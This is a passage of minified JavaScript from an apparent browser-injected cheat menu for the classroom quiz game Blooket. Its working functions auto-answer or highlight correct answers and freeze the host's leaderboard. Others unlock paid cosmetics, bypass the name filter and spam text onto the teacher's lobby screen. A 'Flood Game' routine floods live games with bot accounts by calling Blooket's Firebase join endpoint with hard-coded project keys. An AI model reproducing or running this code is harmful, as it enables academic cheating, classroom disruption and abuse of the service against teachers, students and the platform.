0.8em;">Cheats<sup>v15.3</sup></span>'},l("a",{className:"bigButton",style:{cursor:"pointer",display:"block",fontFamily:"Titan One",margin:"20px auto 10px",position:"relative",transition:".25s",textDecoration:"none",userSelect:"none",visibility:"visible"},target:"_blank",href:"https://discord.gg/8A6J234n7v",innerHTML:'<div style="background: rgba(0,0,0,.25); border-radius: 5px; display: block; width: 100%; height: 100%; left: 0; top: 0; position: absolute; transform: translateY(2px); width: 100%; transition: transform .6s cubic-bezier(.3,.7,.4,1)"></div> <div style="background-color: rgb(11, 194, 207); filter: brightness(.7); position: absolute; top: 0; left: 0; width: 100%; height: 100%; border-radius: 5px;"></div> <div style="font-weight: 400; background-color: rgb(11, 194, 207); color: white; display: flex; flex-direction: row; align-items: center; justify-content: center; text-align: center; padding: 5px; border-radius: 5px; transform: translateY(-4px); transition: transform .6s cubic-bezier(.3,.7,.4,1)"> <div style="font-family: Titan One, sans-serif; color: white; font-size: 26px; text-shadow: 2px 2px rgb(0 0 0 / 20%); height: 40px; padding: 0 15px; display: flex; flex-direction: row; align-items: center; justify-content: center"> <svg style="filter: drop-shadow(2px 2px 0 rgb(0 0 0 / 20%))" xmlns="http://www.w3.org/2000/svg" width="35" height="35" fill="currentColor" viewBox="0 -1 21 16"> <path d="M13.545 2.907a13.227 13.227 0 0 0-3.257-1.011.05.05 0 0 0-.052.025c-.141.25-.297.577-.406.833a12.19 12.19 0 0 0-3.658 0 8.258 8.258 0 0 0-.412-.833.051.051 0 0 0-.052-.025c-1.125.194-2.22.534-3.257 1.011a.041.041 0 0 0-.021.018C.356 6.024-.213 9.047.066 12.032c.001.014.01.028.021.037a13.276 13.276 0 0 0 3.995 2.02.05.05 0 0 0 .056-.019c.308-.42.582-.863.818-1.329a.05.05 0 0 0-.01-.059.051.051 0 0 0-.018-.011 8.875 8.875 0 0 1-1.248-.595.05.05 0 0 1-.02-.066.051.051 0 0 1 .015-.019c.084-.063.168-.129.248-.195a.05.05 0 0 1 .051-.007c2.619 1.196 5.454 1.196 8.041 0a.052.052 0 0 1 .053.007c.08.066.164.132.248.195a.051.051 0 0 1-.004.085 8.254 8.254 0 0 1-1.249.594.05.05 0 0 0-.03.03.052.052 0 0 0 .003.041c.24.465.515.909.817 1.329a.05.05 0 0 0 .056.019 13.235 13.235 0 0 0 4.001-2.02.049.049 0 0 0 .021-.037c.334-3.451-.559-6.449-2.366-9.106a.034.034 0 0 0-.02-.019Zm-8.198 7.307c-.789 0-1.438-.724-1.438-1.612 0-.889.637-1.613 1.438-1.613.807 0 1.45.73 1.438 1.613 0 .888-.637 1.612-1.438 1.612Zm5.316 0c-.788 0-1.438-.724-1.438-1.612 0-.889.637-1.613 1.438-1.613.807 0 1.451.73 1.438 1.613 0 .888-.631 1.612-1.438 1.612Z"/> </svg> Discord </div> </div>'})),l("div",{className:"contentWrapper",style:{position:"absolute",left:"220px",top:"70px",overflowY:"scroll",width:"calc(100% - 220px)",height:"calc(100% - 70px)",borderRadius:"7px"}},l("div",{id:"content",style:{position:"absolute",inset:"27px 50px 50px 50px"}},y=l("div",{className:"tooltip",style:{position:"absolute",top:"0",left:"0",backgroundColor:"black",height:"fit-content",maxWidth:"300px",zIndex:"5",borderRadius:"7.5px",color:"white",display:"flex",justifyContent:"center",alignItems:"center",padding:"5px",paddingInline:"15px",pointerEvents:"none",opacity:"0",textAlign:"center"},innerText:"description"}),b=l("div",{style:{alignItems:"center",boxSizing:"border-box",display:"flex",flexDirection:"row",flexWrap:"wrap",justifyContent:"space-evenly",padding:"20px 5px 20px",position:"relative",width:"100%",fontFamily:"Nunito, sans-serif",fontWeight:"400",color:"var(--textColor)",background:"var(--contentBackground)",boxShadow:"inset 0 -6px rgb(0 0 0 / 20%)",borderRadius:"7px"}},v=l("div",{className:"headerText",style:{boxSizing:"border-box",display:"block",height:"45px",left:"-10px",padding:"4px 4px 8px",position:"absolute",top:"-28px",backgroundColor:"#ef7426",boxShadow:"0 4px rgb(0 0 0 / 20%), inset 0 -4px rgb(0 0 0 / 20%)",borderRadius:"7px"}},l("div",{style:{alignItems:"center",boxSizing:"border-box",display:"flex",height:"100%",justifyContent:"center",padding:"0 15px",width:"100%",fontFamily:"Titan One, sans-serif",fontSize:"26px",fontWeight:"400",textShadow:"-1px -1px 0 #646464, 1px -1px 0 #646464, -1px 1px 0 #646464, 2px 2px 0 #646464",color:"white",background:"linear-gradient(#fcd843,#fcd843 50%,#feb31a 50.01%,#feb31a)",borderRadius:"5px"}})))))));for(let e of document.querySelectorAll("#JODGUI"))e.remove();function w(e,t,o,a){let n=l("div",{className:"cheatButton",innerHTML:("string"==typeof t?`<img style="height: 30px; margin-right: 5px" src="${t}">`:t||"")+e,onclick:()=>k(n.innerText,o,a)});return h.appendChild(n),n.onclick}function insertElemBefore(e,t,o,a,n){let r=l("div",{className:"cheatButton",innerHTML:("string"==typeof t?`<img style="height: 30px; margin-right: 5px" src="${t}">`:t||"")+e,onclick:()=>k(r.innerText,o,a)});return h.insertBefore(r,n),r.onclick}async function k(e,t,o){b.innerHTML="",v.firstChild.innerText=e+(o?"":" Cheats"),b.append(v);for(let e=0;e<t.length;e++){let{name:o,description:d,type:u,inputs:p,enabled:m,run:h,element:y}=t[e];if(!y){let b=l("div",{className:"scriptButton",style:{background:"toggle"==u?m?"var(--enabledButton)":"var(--disabledButton)":"var(--defaultButton)"}},l("div",{className:"cheatName",innerHTML:o}));if(b.dataset.description=d,b.onclick=function({target:e,key:t}){(e==b||e.classList.contains("cheatName")||"Enter"==t&&e.classList.contains("cheatInput"))&&(t=[...b.children].slice(1),h.apply(this,t.map((e=>"number"==e.type?parseInt("0"+e.value):"SELECT"==e.nodeName?JSON.parse(e.value):e.data||e.value))),"toggle"==u&&(b.style.background=this.enabled?"var(--enabledButton)":"var(--disabledButton)"),C.alerts?.[0].addLog(`${"toggle"==u?this.enabled?"Enabled":"Disabled":"Ran"} <strong>${this.name}</strong>`+(p?.length?` with inputs: (${t.map((e=>"SELECT"==e.nodeName?e.selectedOptions[0].innerText:e.value)).join(", ")})`:""),"toggle"==u?this.enabled?"var(--enabledButton)":"var(--disabledButton)":null))}.bind(t[e]),p?.length)for(let e=0;e<p.length;e++){var{name:a,type:n,options:r,min:i,max:s,value:c}=p[e];let t;try{t=await("function"==typeof r?r?.():r)}catch{t=[]}if("options"==n&&t?.length){let e=document.createElement("select");t.forEach((t=>{var o=document.createElement("option");o.value=JSON.stringify(t?.value||t),o.innerHTML=t?.name||t,e.appendChild(o)})),b.appendChild(e)}else if("function"==n){let t=document.createElement("input");t.classList.add("cheatInput"),t.placeholder=a,t.style.textAlign="center";let o=(t.readOnly=!0,!1);t.onclick=async()=>{o||(t.value="Waiting for input...",o=!0,t.data=await p[e].function((e=>t.value=e+"...")),o=!1,t.value=t.value.slice(0,-3))},b.appendChild(t)}else(r=document.createElement("input")).classList.add("cheatInput"),"number"==n&&(r.type="number",r.min=i,r.max=s,r.value=c||(null!=i?i:0)),r.placeholder=a,r.style.textAlign="center",r.onkeyup=b.onclick,b.appendChild(r)}t[e].element=b}b.appendChild(t[e].element)}}document.body.appendChild(_);let C={global:[{name:"Auto Answer",description:"Toggles auto answer on",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval((()=>{var{state:{question:e,stage:t,feedback:o},props:{client:{question:a}}}=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;let n=e||a;try{"typing"!=n.qType?("feedback"===t||o?document.querySelector('[class*="feedback"]')?.firstChild:[...document.querySelectorAll('[class*="answerContainer"]')][n.answers.map(((e,t)=>n.correctAnswers.includes(e)?t:null)).filter((e=>null!=e))[0]])?.click?.():Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(n.answers[0])}catch{}}),50))}},{name:"Highlight Answers",description:"Toggles highlight answers on",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval((()=>{let{stateNode:{state:e,props:t}}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;[...document.querySelectorAll('[class*="answerContainer"]')].forEach(((o,a)=>{(e.question||t.client.question).correctAnswers.includes((e.question||t.client.question).answers[a])?o.style.backgroundColor="rgb(0, 207, 119)":o.style.backgroundColor="rgb(189, 15, 38)"}))}),50))}},{name:"Subtle Highlight Answers",description:"Toggles subtle highlight answers on",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval((()=>{let{stateNode:{state:e,props:t}}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;[...document.querySelectorAll('[class*="answerContainer"]')].forEach(((o,a)=>{(e.question||t.client.question).correctAnswers.includes((e.question||t.client.question).answers[a])&&(o.style.boxShadow="unset")}))}),50))}},{name:"Freeze Leaderboard",description:"Freezes the leaderboard on the host's screen",type:"toggle",enabled:!1,data:null,run:function(){var e=Object.values(function e(t=document.querySelector("#app")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner.stateNode;if(this.enabled)this.enabled=!1,clearInterval(this.data),this.data=null,e.props.liveGameController.removeVal(`c/${e.props.client.name}/tat`);else{this.enabled=!0;let t=()=>{e.props.liveGameController.setVal({path:`c/${e.props.client.name}/tat/Freeze`,val:"freeze"})};this.data=setInterval(t,25)}}},{name:"Percent Auto Answer",description:"Answers questions correctly or incorrectly depending on the goal grade given (Disable and re-enable to update goal)",inputs:[{name:"Target Grade",type:"number"}],type:"toggle",enabled:!1,data:null,run:function(e){if(this.enabled)this.enabled=!1,clearInterval(this.data),this.data=null;else{this.enabled=!0;let{stateNode:t}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;this.data=setInterval((e=>{try{let o=t.state.question||t.props.client.question;if("feedback"==t.state.stage||t.state.feedback)return document.querySelector('[class*="feedback"], [id*="feedback"]')?.firstChild?.click?.();if(document.querySelector("[class*='answerContainer']")||document.querySelector("[class*='typingAnswerWrapper']")){let a=0,n=0;for(let e in t.corrects)a+=t.corrects[e];for(let e in t.incorrects)n+=t.incorrects[e];n+=a;let r=0==n||Math.abs(a/(n+1)-e)>=Math.abs((a+1)/(n+1)-e);if("typing"!=t.state.question.qType){let e=document.querySelectorAll("[class*='answerContainer']");for(let t=0;t<e.length;t++){let a=o.correctAnswers.includes(o.answers[t]);if(r&&a||!r&&!a)return e[t]?.click?.()}e[0].click()}else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(r?o.answers[0]:Math.random().toString(36).substring(2))}}catch{}}),100,(e??100)/100)}}},{name:"Use any Banner",description:"Unlocked all banners",inputs:[{name:"Banner",type:"options",options:Object.entries({Starter:"starter",Fire:"fire","Tech Chip":"techChip",Shamrocks:"shamrocks","Orange Ice Pop":"orangeIcePop",Slime:"slime",Sushi:"sushi","Falling Blocks":"fallingBlocks",Racetrack:"racetrack","Football Field":"footballField","Ice Cream Sandwich":"iceCreamSandwich","Winter Landscape":"winterLandscape",Leaves:"leaves","Music Class":"musicClass","Science Class":"scienceClass","Art Class":"artClass",Clockwork:"clockwork","Hockey Rink":"hockeyRink","Outer Space":"outerSpace","Soccer Field":"soccerField",Ice:"ice","Toaster Pastry":"toasterPastry","Fish Tank":"fishTank",Theater:"theater",Farm:"farm",Spooky:"spooky","Spooky Cat":"spookyCat","Spooky Window":"spookyWindow",Frankenstein:"frankenstein",Ghosts:"ghosts",Mummy:"mummy",Spiders:"spiders",Coffin:"coffin",Pumpkins:"pumpkins","Christmas Tree":"christmasTree",Chalkboard:"chalkboard",Balloons:"balloons",Skateboard:"skateboard",Sunset:"sunset",Tiger:"tiger","Pirate Map":"pirateMap",Pencil:"pencil","Road Sign":"roadSign","Corn Dog":"cornDog",Leaf:"leaf","Chili Pepper":"chiliPepper","Love Letter":"loveLetter",Gifts:"gifts","Winter Train":"winterTrain","Winter Drive":"winterDrive",Workbench:"workbench",Harvest:"harvest",Chocolate:"chocolate","Fall Picnic":"fallPicnic",Bookshelf:"bookshelf","Easter Pattern":"easterPattern",Carrot:"carrot","Easter Field":"easterField",Garden:"garden",Bakery:"bakery","Gummy Worm":"gummyWorm","Basketball Court":"basketballCourt","Flying Kite":"flyingKite","Hot Dog":"hotDog","Japanese Garden":"japaneseGarden",Sandwich:"sandwich",Ruler:"ruler","Ball Pit":"ballPit",Xylophone:"xylophone","Holiday Lights":"holidayLights","Ice Cream Truck":"iceCreamTruck","Holiday Gift Wrap":"holidayGiftWrap","Winter Sweater":"winterSweater","Holiday Ornaments":"holidayOrnaments",Watermelon:"watermelon",Baguette:"baguette",Rollerblades:"rollerblades",Surfboard:"surfboard",Cookout:"cookout",Comic:"comic",Crayon:"crayon",Lightning:"lightning",Baseball:"baseball","Shamrock Coins":"shamrockCoins","End Of The Rainbow":"endRainbow","Easter Field":"easterField",Marker:"marker",Pizza:"pizza",Leaf:"leaf","Alphabet Soup":"alphabetSoup"}).map((([e,t])=>({name:e,value:t})))}],run:function(e){var t=document.createElement("iframe");function o(){return Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner}document.head.appendChild(t),window.alert=t.contentWindow.alert.bind(window),window.prompt=t.contentWindow.prompt.bind(window),t.remove(),o().stateNode.props.liveGameController.setVal({path:"c/"+o().stateNode.props.client.name+"/bg",val:e})}},{name:"Spam Buy Blooks",description:"Opens a box an amount of times",inputs:[{name:"Box",type:"options",options:()=>Array.from(document.querySelectorAll("[class*='packsWrapper'] > div")).reduce(((e,t)=>(t.querySelector("[class*='blookContainer'] > img")||e.push(t.querySelector("[class*='packImgContainer'] > img").alt),e)),[])},{name:"Amount",type:"number"},{name:"Show Unlocks",type:"options",options:[{name:"Show Unlocks",value:!0},{name:"Don't Show Unlocks",value:!1}]}],run:async function(e,t,o){let a=document.createElement("iframe");document.body.append(a),window.alert=a.contentWindow.alert.bind(window),window.prompt=a.contentWindow.prompt.bind(window),window.confirm=a.contentWindow.confirm.bind(window),a.remove();let{stateNode:n}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner,r=Array.from(document.querySelectorAll("[class*='packsWrapper'] > div")).reduce(((e,t)=>(t.querySelector("[class*='blookContainer'] > img")||(e[t.querySelector("[class*='packImgContainer'] > img").alt]=parseInt(t.querySelector("[class*='packBottom']").textContent)),e)),{}),i=e.split(" ").map((e=>e.charAt(0).toUpperCase()+e.slice(1).toLowerCase())).join(" "),l=r[i];if(!l)return alert("I couldn't find that box!");let s=Math.min(Math.floor(n.state.tokens/l),t);if(0==s)return alert("You do not have enough tokens!");let c={},d=Date.now();for(let e=0;e<s;e++){await n.buyPack(!0,i),c[n.state.unlockedBlook]||=0,c[n.state.unlockedBlook]++;let e=Date.now();d+=Date.now()-e,n.setState({canOpen:!0,currentPack:"",opening:o,doneOpening:o,openPack:o}),clearTimeout(n.canOpenTimeout)}await new Promise((e=>setTimeout(e))),alert(`(${Date.now()-d}ms) Results: ${Object.entries(c).map((([e,t])=>` ${e} ${t}`)).join(" ")}`)}},{name:"Flood Game",description:"Floods a game with a number of fake accounts",inputs:[{name:"Name",type:"string"},{name:"Amount",type:"number"},{name:"Blook",type:"options",options:["Chick","Chicken","Cow","Goat","Horse","Pig","Sheep","Duck","Alpaca","Dog","Cat","Rabbit","Goldfish","Hamster","Turtle","Kitten","Puppy","Bear","Moose","Fox","Raccoon","Squirrel","Owl","Hedgehog","Deer","Wolf","Beaver","Tiger","Orangutan","Cockatoo","Parrot","Anaconda","Jaguar","Macaw","Toucan","Panther","Capuchin","Gorilla","Hippo","Rhino","Giraffe","Snowy Owl","Polar Bear","Arctic Fox","Baby Penguin","Penguin","Arctic Hare","Seal","Walrus","Witch","Wizard","Elf","Fairy","Slime Monster","Jester","Dragon","Queen","Unicorn","King","Two of Spades","Eat Me","Drink Me","Alice","Queen of Hearts","Dormouse","White Rabbit","Cheshire Cat","Caterpillar","Mad Hatter","King of Hearts","Toast","Cereal","Yogurt","Breakfast Combo","Orange Juice","Milk","Waffle","Pancakes","French Toast","Pizza","Earth","Meteor","Stars","Alien","Planet","UFO","Spaceship","Astronaut","Lil Bot","Lovely Bot","Angry Bot","Happy Bot","Watson","Buddy Bot","Brainy Bot","Mega Bot","Old Boot","Jellyfish","Clownfish","Frog","Crab","Pufferfish","Blobfish","Octopus","Narwhal","Dolphin","Baby Shark","Megalodon","Panda","Sloth","Tenrec","Flamingo","Zebra","Elephant","Lemur","Peacock","Chameleon","Lion","Amber","Dino Egg","Dino Fossil","Stegosaurus","Velociraptor","Brontosaurus","Triceratops","Tyrannosaurus Rex","Ice Bat","Ice Bug","Ice Elemental","Rock Monster","Dink","Donk","Bush Monster","Yeti","Dingo","Echidna","Koala","Kookaburra","Platypus","Joey","Kangaroo","Crocodile","Sugar Glider","Deckhand","Buccaneer","Swashbuckler","Treasure Map","Seagull","Jolly Pirate","Pirate Ship","Kraken","Captain Blackbeard","Snow Globe","Holiday Gift","Hot Chocolate","Holiday Wreath","Stocking","Gingerbread Man","Gingerbread House","Reindeer","Snowman","Santa Claus","Pumpkin","Swamp Monster","Frankenstein","Vampire","Zombie","Mummy","Caramel Apple","Candy Corn","Werewolf","Ghost","Rainbow Jellyfish","Blizzard Clownfish","Lovely Frog","Lucky Frog","Spring Frog","Poison Dart Frog","Lucky Hamster","Chocolate Rabbit","Spring Rabbit","Lemon Crab","Pirate Pufferfish","Donut Blobfish","Crimson Octopus","Rainbow Narwhal","Frost Wreath","Tropical Globe","New York Snow Globe","London Snow Globe","Japan Snow Globe","Egypt Snow Globe","Paris Snow Globe","Red Sweater Snowman","Blue Sweater Snowman","Elf Sweater Snowman","Santa Claws","Cookies Combo","Chilly Flamingo","Snowy Bush Monster","Nutcracker Koala","Sandwich","Ice Slime","Frozen Fossil","Ice Crab","Rainbow Panda","White Peacock","Tiger Zebra","Teal Platypus","Red Astronaut","Orange Astronaut","Yellow Astronaut","Lime Astronaut","Green Astronaut","Cyan Astronaut","Blue Astronaut","Pink Astronaut","Purple Astronaut","Brown Astronaut","Black Astronaut","Lovely Planet","Lovely Peacock","Haunted Pumpkin","Pumpkin Cookie","Ghost Cookie","Red Gummy Bear","Blue Gummy Bear","Green Gummy Bear","Chick Chicken","Chicken Chick","Raccoon Bandit","Owl Sheriff","Vampire Frog","Pumpkin King","Leprechaun","Anaconda Wizard","Spooky Pumpkin","Spooky Mummy","Agent Owl","Master Elf","Party Pig","Wise Owl","Spooky Ghost","Phantom King","Tim the Alien","Rainbow Astronaut","Hamsta Claus","Light Blue","Black","Red","Purple","Pink","Orange","Lime","Green","Teal","Tan","Maroon","Gray","Mint","Salmon","Burgandy","Baby Blue","Dust","Brown","Dull Blue","Yellow","Blue"].map((e=>({name:e,value:e})))},{name:"Banner",type:"options",options:Object.entries({Starter:"starter",Fire:"fire","Tech Chip":"techChip",Shamrocks:"shamrocks","Orange Ice Pop":"orangeIcePop",Slime:"slime",Sushi:"sushi","Falling Blocks":"fallingBlocks",Racetrack:"racetrack","Football Field":"footballField","Ice Cream Sandwich":"iceCreamSandwich","Winter Landscape":"winterLandscape",Leaves:"leaves","Music Class":"musicClass","Science Class":"scienceClass","Art Class":"artClass",Clockwork:"clockwork","Hockey Rink":"hockeyRink","Outer Space":"outerSpace","Soccer Field":"soccerField",Ice:"ice","Toaster Pastry":"toasterPastry","Fish Tank":"fishTank",Theater:"theater",Farm:"farm",Spooky:"spooky","Spooky Cat":"spookyCat","Spooky Window":"spookyWindow",Frankenstein:"frankenstein",Ghosts:"ghosts",Mummy:"mummy",Spiders:"spiders",Coffin:"coffin",Pumpkins:"pumpkins","Christmas Tree":"christmasTree",Chalkboard:"chalkboard",Balloons:"balloons",Skateboard:"skateboard",Sunset:"sunset",Tiger:"tiger","Pirate Map":"pirateMap",Pencil:"pencil","Road Sign":"roadSign","Corn Dog":"cornDog",Leaf:"leaf","Chili Pepper":"chiliPepper","Love Letter":"loveLetter",Gifts:"gifts","Winter Train":"winterTrain","Winter Drive":"winterDrive",Workbench:"workbench",Harvest:"harvest",Chocolate:"chocolate","Fall Picnic":"fallPicnic",Bookshelf:"bookshelf","Easter Pattern":"easterPattern",Carrot:"carrot","Easter Field":"easterField",Garden:"garden",Bakery:"bakery","Gummy Worm":"gummyWorm","Basketball Court":"basketballCourt","Flying Kite":"flyingKite","Hot Dog":"hotDog","Japanese Garden":"japaneseGarden",Sandwich:"sandwich",Ruler:"ruler","Ball Pit":"ballPit",Xylophone:"xylophone","Holiday Lights":"holidayLights","Ice Cream Truck":"iceCreamTruck","Holiday Gift Wrap":"holidayGiftWrap","Winter Sweater":"winterSweater","Holiday Ornaments":"holidayOrnaments",Watermelon:"watermelon",Baguette:"baguette",Rollerblades:"rollerblades",Surfboard:"surfboard",Cookout:"cookout",Comic:"comic",Crayon:"crayon",Lightning:"lightning",Baseball:"baseball","Shamrock Coins":"shamrockCoins","End Of The Rainbow":"endRainbow","Easter Field":"easterField",Marker:"marker",Pizza:"pizza",Leaf:"leaf","Alphabet Soup":"alphabetSoup"}).map((([e,t])=>({name:e,value:t})))}],run:async function(e,t,o,a){let n=document.createElement("iframe");function r(){return Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode}document.body.append(n),window.prompt=n.contentWindow.prompt.bind(window),window.alert=n.contentWindow.alert.bind(window),n.remove();var i=!1;if(r().props.liveGameController._liveApp){var l=r().props.liveGameController._liveApp.firebase;!async function(){if(r().props.liveGameController._liveApp){var o=r().props.liveGameController._liveGameCode,a=parseInt(t);if(a){if(!i)var n=e;for(var l=0;l<a;l++)await s(o,i?c(15):n+Math.floor(4e3*Math.random()))}else alert("You must use a valid number!")}else alert("You must be in a game for the flooder to work!")}()}else alert("You must be in a game to use the flooder!");async function s(e,t){let n=await fetch("https://fb.blooket.com/c/firebase/join",{body:JSON.stringify({id:e,name:t}),credentials:"include",method:"PUT"}).then((e=>e.json()));if(n.success){let r=l.initializeApp({apiKey:"AIzaSyCA-cTOnX19f6LFnDVVsHXya3k6ByP_MnU",authDomain:"blooket-2020.firebaseapp.com",projectId:"blooket-2020",storageBucket:"blooket-2020.appspot.com",messagingSenderId:"741533559105",appId:"1:741533559105:web:b8cbb10e6123f2913519c0",measurementId:"G-S3H5NGN10Z",databaseURL:n.fbShardURL},t);await r.auth().signInWithCustomToken(n.fbToken);let i=r.database();await i.ref(`${e}/c/${t}`).set({b:o,bg:a}),C.alerts[0].addLog(`Bot ${t} joined!`)}else alert("Connect error: "+n.msg)}function c(e){for(var t="",o=0;o<e;o++)t+=String.fromCharCode(65+Math.floor(25*Math.random()));return t}}},{name:"Simulate Unlock",description:"Simulates unlocking a certian blook",inputs:[{name:"Blook (Case Sensitive)"}],run:e=>{const t=Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;t.setState({loadingPack:!1,openPack:!0,unlockedBlook:e,newUnlock:!0,canOpen:!1}),setTimeout((()=>t.setState({canOpen:!0})),200)}},{name:"Bypass Filter",description:"Bypasses the name filter",inputs:[{name:"Text",type:"text"}],run:function(e){var t,o;let a;t=function(e){for(var t=e.split(""),o="",a=0;a<t.length;a++)o+=""+t[a];return o}(e),a=document.createElement("iframe"),document.body.appendChild(a),window.alert=a.contentWindow.alert.bind(a.contentWindow),(o=document.createElement("textarea")).value=t,o.style.position="fixed",o.style.top=0,o.style.left=0,o.style.opacity=0,document.body.appendChild(o),o.select(),document.execCommand("copy"),alert("Bypassed text copied to clipboard!"),a.remove(),document.body.removeChild(o)}},{name:"Change Name Ingame",description:"Changes your name ingame",inputs:[{name:"New Name",type:"text"}],run:function(e){(async()=>{const t=e=>Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;let o=document.createElement("iframe");document.body.append(o);let a=o.contentWindow.alert.bind(window);o.remove();const n=t().props.client.name;t().props.client.name=e;const r=await t().props.liveGameController.getDatabaseVal(`c/${n}`);await t().props.liveGameController.removeVal(`c/${n}`);const i=await async function(e){const o=await fetch("https://fb.blooket.com/c/firebase/join",{body:JSON.stringify({id:t().props.client.hostId,name:e}),headers:{"Content-Type":"application/json"},method:"PUT",credentials:"include"}).then((e=>e.json()));if(o.success)return o.fbToken;a("Error: "+o.msg)}(e);i&&(await t().props.liveGameController._liveApp.auth().signInWithCustomToken(i),t().props.liveGameController._liveApp.auth().onAuthStateChanged((o=>{o.uid.split(":")[1]===e&&t().props.liveGameController.setVal({path:`c/${e}`,val:r})})),t().setState({}))})()}},{name:"Use Banner IDs",description:"Enter Banner ID to use Banner",inputs:[{name:"Banner ID",type:"text"}],run:function(e){var t=document.createElement("iframe");function o(){return Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner}document.head.appendChild(t),window.alert=t.contentWindow.alert.bind(window),window.prompt=t.contentWindow.prompt.bind(window),t.remove(),o().stateNode.props.liveGameController.setVal({path:"c/"+o().stateNode.props.client.name+"/bg",val:e})}},{name:"Change Blook Ingame",description:"Changes your blook",inputs:[{name:"Blook",type:"options",async options(){let{webpack:e}=webpackJsonp.push([[],{1234(e,t,o){t.webpack=o}},[["1234"]]]);return Object.keys(Object.values(e.c).find((e=>e.exports.a?.Chick&&e.exports.a?.Elephant)).exports.a)}}],run:function(e){let{props:t}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner.stateNode;t.client.blook=e,t.liveGameController.setVal({path:`c/${t.client.name}/b`,val:e})}},{name:"Set Blook Ad Text",description:"Sets a load of text as your blook and floods teachers screen on lobby",inputs:[{name:"Text",type:"input"}],run:function(e){let t=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner.stateNode;String.prototype.inc||(String.prototype.inc=String.prototype.includes),String.prototype.includes=function(e){return"#"==e&&this.length>30||String.prototype.inc.apply(this,arguments)};let o=Array(500).fill(e).join(" ");t.state.unlocks||(t.client.blook=o),t.props.liveGameController.setVal({path:`c/${t.props.client.name}/b`,val:o})}},{name:"Set Blook Ad Text Ingame",description:"Sets a load of text as your blook",inputs:[{name:"Text",type:"options",async options(){let{webpack:e}=webpackJsonp.push([[],{1234(e,t,o){t.webpack=o}},[["1234"]]]);return Object.keys(Object.values(e.c).find((e=>e.exports.a?.Chick&&e.exports.a?.Elephant)).exports.a)}}],run:function(e){let{props:t}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner.stateNode,o=Array(500).fill(e).join(" ");t.client.blook=o,t.liveGameController.setVal({path:`c/${t.client.name}/b`,val:o})}},{name:"Auto Answer",description:"Click the correct answer for you",run:function(){let{state:{question:e,stage:t,feedback:o},props:{client:{question:a}}}=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;try{"typing"!=e.qType?("feedback"===t||o?document.querySelector('[class*="feedback"]')?.firstChild:[...document.querySelectorAll('[class*="answerContainer"]')][(e||a).answers.map(((t,o)=>(e||a).correctAnswers.includes(t)?o:null)).filter((e=>null!=e))[0]])?.click?.():Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(e.answers[0])}catch{}}},{name:"Highlight Answers",description:"Colors answers to be red or green highlighting the correct ones",run:function(){let{stateNode:{state:e,props:t}}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;[...document.querySelectorAll('[class*="answerContainer"]')].forEach(((o,a)=>{(e.question||t.client.question).correctAnswers.includes((e.question||t.client.question).answers[a])?o.style.backgroundColor="rgb(0, 207, 119)":o.style.backgroundColor="rgb(189, 15, 38)"}))}},{name:"Subtle Highlight Answers",description:"Removes the shadow from correct answers",run:function(){let{stateNode:{state:e,props:t}}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;[...document.querySelectorAll('[class*="answerContainer"]')].forEach(((o,a)=>{(e.question||t.client.question).correctAnswers.includes((e.question||t.client.question).answers[a])&&(o.style.boxShadow="unset")}))}},{name:"Get Daily Rewards",description:"Gets max daily tokens and xp",run:async function(){let e=document.createElement("iframe");if(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),location.href.includes("play.blooket.com")){let{t:e}=await 